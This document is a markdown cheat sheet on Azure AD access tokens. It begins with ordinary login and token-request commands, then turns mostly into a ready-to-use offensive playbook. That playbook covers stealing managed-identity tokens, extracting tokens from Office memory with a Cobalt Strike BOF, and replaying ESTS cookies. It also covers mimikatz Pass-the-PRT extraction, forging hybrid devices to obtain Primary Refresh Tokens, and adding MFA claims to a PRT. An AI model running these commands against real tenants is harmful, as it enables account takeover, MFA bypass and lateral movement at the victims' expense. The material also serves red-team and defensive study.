← cd ..

Azure AD - Access and Tokens

contents
azure-access-and-token.md

Connection#

When you authenticate to the Microsoft Graph API in PowerShell/CLI, you will be using an application from a Microsoft’s tenant.

NameApplication ID
Microsoft Azure PowerShell1950a258-227b-4e31-a9cf-717495945fc2
Microsoft Azure CLI04b07795-8ddb-461a-bbee-02f9e1bf7b46
Portail Azurec44b4083-3bb0-49c1-b47d-974e53cbdf3c

After a successfull authentication, you will get an access token.

az cli#

  • Login with credentials

    az login -u <username> -p <password>az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>
  • Get token

    az account get-access-tokenaz account get-access-token --resource-type aad-graph

Whoami equivalent: az ad signed-in-user show

Azure AD Powershell#

  • Login with credentials

    $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force$creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)Connect-AzureAD -Credential $creds

Az Powershell#

  • Login with credentials

    $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force$creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>@<TENANT NAME>.onmicrosoft.com", $passwd)Connect-AzAccount -Credential $creds
  • Login with service principal secret

    $password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force$creds = New-Object System.Management.Automation.PSCredential('<APP-ID>', $password)Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
  • Get token

    (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).TokenGet-AzAccessToken -ResourceTypeName MSGraph

Microsoft Graph Powershell#

  • Login with credentials

    Connect-MgGraphConnect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All"
  • Login with device code flow

    Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication

Whoami equivalent: Get-MgContext

External HTTP API#

  • Login with credentials

    # TODO

Device Code#

Request a device code

$body = @{    "client_id" =     "1950a258-227b-4e31-a9cf-717495945fc2"    "resource" =      "https://graph.microsoft.com"}$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"$Headers=@{}$Headers["User-Agent"] = $UserAgent$authResponse = Invoke-RestMethod `    -UseBasicParsing `    -Method Post `    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `    -Headers $Headers `    -Body $body$authResponse

Go to device login microsoft.com/devicelogin and input the device code. Then ask for an access token.

$body=@{    "client_id" =  "1950a258-227b-4e31-a9cf-717495945fc2"    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"    "code" =       $authResponse.device_code}$Tokens = Invoke-RestMethod `    -UseBasicParsing `    -Method Post `    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `    -Headers $Headers `    -Body $body$Tokens

Service Principal#

  • Request an access token using a service principal password

    curl --location --request POST 'https://login.microsoftonline.com/<tenant-name>/oauth2/v2.0/token' \--header 'Content-Type: application/x-www-form-urlencoded' \--data-urlencode 'client_id=<client-id>' \--data-urlencode 'scope=https://graph.microsoft.com/.default' \--data-urlencode 'client_secret=<client-secret>' \--data-urlencode 'grant_type=client_credentials'

App Secret#

An App Secret (also called a client secret) is a string used for securing communication between an application and Azure Active Directory (Azure AD). It is a credential that the application uses along with its client ID to authenticate itself when accessing Azure resources, such as APIs or other services, on behalf of a user or a system.

$appid = '<app-id>'$tenantid = '<tenant-id>'$secret = '<app-secret>' $body =  @{    Grant_Type    = "client_credentials"    Scope         = "https://graph.microsoft.com/.default"    Client_Id     = $appid    Client_Secret = $secret} $connection = Invoke-RestMethod `    -Uri https://login.microsoftonline.com/$tenantid/oauth2/v2.0/token `    -Method POST `    -Body $bodyConnect-MgGraph -AccessToken $connection.access_token

Internal HTTP API#

MSI_ENDPOINT is an alias for IDENTITY_ENDPOINT, and MSI_SECRET is an alias for IDENTITY_HEADER.

Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment variables: env

Most of the time, you want a token for one of these resources:

  • <https://graph.microsoft.com>

  • <https://management.azure.com>

  • <https://storage.azure.com>

  • <https://vault.azure.net>

  • PowerShell

    curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADERcurl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Azure Function (Python)

    import logging, osimport azure.functions as funcdef main(req: func.HttpRequest) -> func.HttpResponse:    logging.info('Python HTTP trigger function processed a request.')    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']    cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)    val = os.popen(cmd).read()    return func.HttpResponse(val, status_code=200)

Access Token#

An access token is a type of security token issued by Azure Active Directory (Azure AD) that grants a user or application permission to access resources. These resources could be anything from APIs, web applications, data stored in Azure, or other services that are integrated with Azure AD for authentication and authorization.

Decode access tokens: jwt.ms

  • Use the access token with MgGraph

    # use the jwt$token = "eyJ0eXAiO..."$secure = $token | ConvertTo-SecureString -AsPlainText -ForceConnect-MgGraph -AccessToken $secure
  • Use the access token with AzureAD

    Connect-AzureAD -AadAccessToken <access-token> -TenantId <tenant-id> -AccountId <account-id>
  • Use the access token with Az Powershell

    Connect-AzAccount -AccessToken <access-token> -AccountId <account-id>Connect-AzAccount -AccessToken <access-token> -GraphAccessToken <graph-access-token> -AccountId <account-id>
  • Use the access token with the API

    $Token = 'eyJ0eX..'$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'# $URI = 'https://graph.microsoft.com/v1.0/applications'$RequestParams = @{    Method = 'GET'    Uri = $URI    Headers = @{        'Authorization' = "Bearer $Token"    }}(Invoke-RestMethod @RequestParams).value 

Access Token Locations#

Tokens are stored by default on the disk in you use Azure Cloud Shell. They canbe extracted by dumping the content of the storage account.

  • az cli

    • az cli stores access tokens in clear text in accessTokens.json in the directory C:\Users\<username>\.Azure
    • azureProfile.json in the same directory contains information about subscriptions.
  • Az PowerShell

    • Az PowerShell stores access tokens in clear text in TokenCache.dat in the directory C:\Users\<username>\.Azure
    • It also stores ServicePrincipalSecret in clear-text in AzureRmContext.json
    • Users can save tokens using Save-AzContext

Refresh Token#

  • Requesting a token using credentials

    TODO

ESTSAuthPersistent is only useful when a CA policy actually grants a persistent session. Otherwise, you should use ESTSAuth.

TokenTacticsV2> Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8"TokenTacticsV2> Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."

Get a Refresh Token from Office process#

load bofloaderexecute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i  7324

FOCI Refresh Token#

Family of client ids (FOCI) allows applications registered with Azure AD to share tokens, minimizing the need for separate authentications when a user accesses multiple applications that are part of the same “family.”

Generate tokens

roadtx gettokens --refresh-token <refresh-token> -c <foci-id> -r https://graph.microsoft.com roadtx gettokens --refresh-token <refresh-token> -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46
scope               resource                                client                              .default            04b07795-8ddb-461a-bbee-02f9e1bf7b46    04b07795-8ddb-461a-bbee-02f9e1bf7b46                    1950a258-227b-4e31-a9cf-717495945fc2    1950a258-227b-4e31-a9cf-717495945fc2                    https://graph.microsoft.com             00b41c95-dab0-4487-9791-b9d2c32c80f2                                                            04b07795-8ddb-461a-bbee-02f9e1bf7b46                    https://graph.windows.net               00b41c95-dab0-4487-9791-b9d2c32c80f2                                                            04b07795-8ddb-461a-bbee-02f9e1bf7b46                    https://outlook.office.com              00b41c95-dab0-4487-9791-b9d2c32c80f2                                                            04b07795-8ddb-461a-bbee-02f9e1bf7b46Files.Read.All      d3590ed6-52b3-4102-aeff-aad2292ab01c    d3590ed6-52b3-4102-aeff-aad2292ab01c                    https://graph.microsoft.com             3590ed6-52b3-4102-aeff-aad2292ab01c                    https://outlook.office.com              1fec8e78-bce4-4aaf-ab1b-5451cc387264Mail.ReadWrite.All  https://graph.microsoft.com             00b41c95-dab0-4487-9791-b9d2c32c80f2                    https://outlook.office.com              00b41c95-dab0-4487-9791-b9d2c32c80f2                    https://outlook.office365.com           00b41c95-dab0-4487-9791-b9d2c32c80f2

Primary Refresh Token#

A Primary Refresh Token (PRT) is a key artifact in the authentication and identity management process in Microsoft’s Azure AD (Azure Active Directory) environment. The PRT is primarily used for maintaining a seamless sign-in experience on devices.

:warning: A PRT is valid for 90 days and is continuously renewed as long as the device is in use. However, it’s only valid for 14 days if the device is not in use.

  • Use PRT token

    roadtx browserprtauth --prt <prt-token> --prt-sessionkey <session-key>roadtx browserprtauth --prt roadtx.prt -url http://www.office.com

Extract PRT v1 - Pass-the-PRT#

MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).

  • Use mimikatz to extract the PRT and session key

    mimikatz # privilege::debugmimikatz # token::elevatemimikatz # sekurlsa::cloudapmimikatz # sekurlsa::dpapimimikatz # dpapi::cloudapkd /keyvalue:<key-value> /unprotectmimikatz # dpapi::cloudapkd /context:<context> /derivedkey:<derived-key> /Prt:<prt>
  • Use either roadtx or AADInternals to generate a new PRT token

    roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url https://portal.azure.comPS> Import-Module C:\Tools\AADInternals\AADInternals.psd1PS AADInternals> $PRT_OF_USER = '...'PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))PS AADInternals> $ClearKey = "XXYYZZ..."PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce

Extract PRT on Device with TPM#

  • No method known to date.

Request a PRT using the Refresh Flow#

  • Request a nonce from AAD: roadrecon auth --prt-init -t <tenant-id>

  • Use dirkjanm/ROADtoken or wotwot563/aad_prt_bof to initiate a new PRT request.

  • roadrecon auth --prt-cookie <prt-cookie> --tokens-stdout --debug or roadtx gettoken --prt-cookie <x-ms-refreshtokencredential>

  • Then browse to login.microsoftonline.com with a cookie x-ms-RefreshTokenCredential:<output-from-roadrecon>

    Name: x-ms-RefreshTokenCredentialValue: <Signed JWT>HttpOnly: √

:warning: Mark the cookie with the flags HTTPOnly and Secure.

Request a PRT with Hybrid Device#

Requirements:

  • ADDS user credentials
  • hybrid environment (ADDS and Azure AD)

Use the user account to create a computer and request a PRT

  • Create a computer account in AD: impacket-addcomputer <domain>/<username>:<password> -dc-ip <dc-ip>

  • Configure the computer certificate in AD with dirkjanm/roadtools_hybrid: python setcert.py 10.10.10.10 -t '<machine-account$>' -u '<domain>\<machine-account$>' -p <machine-password>

  • Register the hybrid device in Azure AD with this certificate: roadtx hybriddevice -c '<machine-account>.pem' -k '<machine-account>.key' --sid '<device-sid>' -t '<aad-tenant-id>'

  • Get a PRT with device claim

    roadtx prt -c <hybrid-device-name>.pem -k <hybrid-device-name>.key -u <username>@h<domain> -p <password>roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com

Upgrade Refresh Token to PRT#

  • Get correct token audience: roadtx gettokens -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r urn:ms-drs:enterpriseregistration.windows.net --refresh-token file
  • Registering device: roadtx device -a register -n <device-name>
  • Request PRT roadtx prt --refresh-token <refresh-token> -c <device-name>.pem -k <device-name>.key
  • Use a PRT: roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com

Enriching a PRT with MFA claim#

  • Request a special refresh token: roadtx prtenrich -u username@domain
  • Request a PRT with MFA claim: roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key

References#